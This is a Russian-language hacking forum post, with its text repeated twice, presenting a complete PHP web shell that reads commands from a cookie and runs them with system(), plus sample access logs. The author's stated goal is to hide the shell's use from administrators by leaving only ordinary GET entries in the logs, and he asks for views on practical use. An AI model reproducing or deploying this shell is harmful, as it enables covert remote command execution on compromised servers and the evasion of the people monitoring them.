Goudini
24.06.2009, 23:28
В один момент я задумался о том что во время использования какого-либо веб-шелла в логах сохраняються последовательные POST запросы к одному и тому же файлу, что может кидатся в глаза при анализе логов администраторами.
Я подумал почему бы не заменить передачу через POST на COOKIES. Реализацию подобного мне не приходилось наблюдать.
Вот и набросал небольшой веб-шелл, который в логах оставляет GET записи. Для работы должно быть разрешено использование cookies и Javascript.
cookie-shell.php
<?php
@set_time_limit(0);
$cmd = $_COOKIE['cmd'] ? $_COOKIE['cmd']: 'ls -la';
?>
<html>
<head><title>Cookies web-shell PoC</title></head>
<body>
<script type="text/javascript">
function send(val)
{
document.cookie = "cmd="+val;
location.reload();
}
</script>
<form>
<input type="text" id="cmd" value="<?=$cmd?>"/>
<input type="submit" onclick="send(document.getElementById('cmd').value)" value="execute"/>
</form>
<pre>
<?php
ob_start();
system($cmd);
$res = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($res);
?>
</pre>
</body>
</html>
http://h3ck.rv.ua/upload/cookie-shell.png
После использования скрипта в логах останется примерно такое:
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
Интересует Ваше мнение по практическому использованию даного метода.
Я подумал почему бы не заменить передачу через POST на COOKIES. Реализацию подобного мне не приходилось наблюдать.
Вот и набросал небольшой веб-шелл, который в логах оставляет GET записи. Для работы должно быть разрешено использование cookies и Javascript.
cookie-shell.php
<?php
@set_time_limit(0);
$cmd = $_COOKIE['cmd'] ? $_COOKIE['cmd']: 'ls -la';
?>
<html>
<head><title>Cookies web-shell PoC</title></head>
<body>
<script type="text/javascript">
function send(val)
{
document.cookie = "cmd="+val;
location.reload();
}
</script>
<form>
<input type="text" id="cmd" value="<?=$cmd?>"/>
<input type="submit" onclick="send(document.getElementById('cmd').value)" value="execute"/>
</form>
<pre>
<?php
ob_start();
system($cmd);
$res = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($res);
?>
</pre>
</body>
</html>
http://h3ck.rv.ua/upload/cookie-shell.png
После использования скрипта в логах останется примерно такое:
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
Интересует Ваше мнение по практическому использованию даного метода.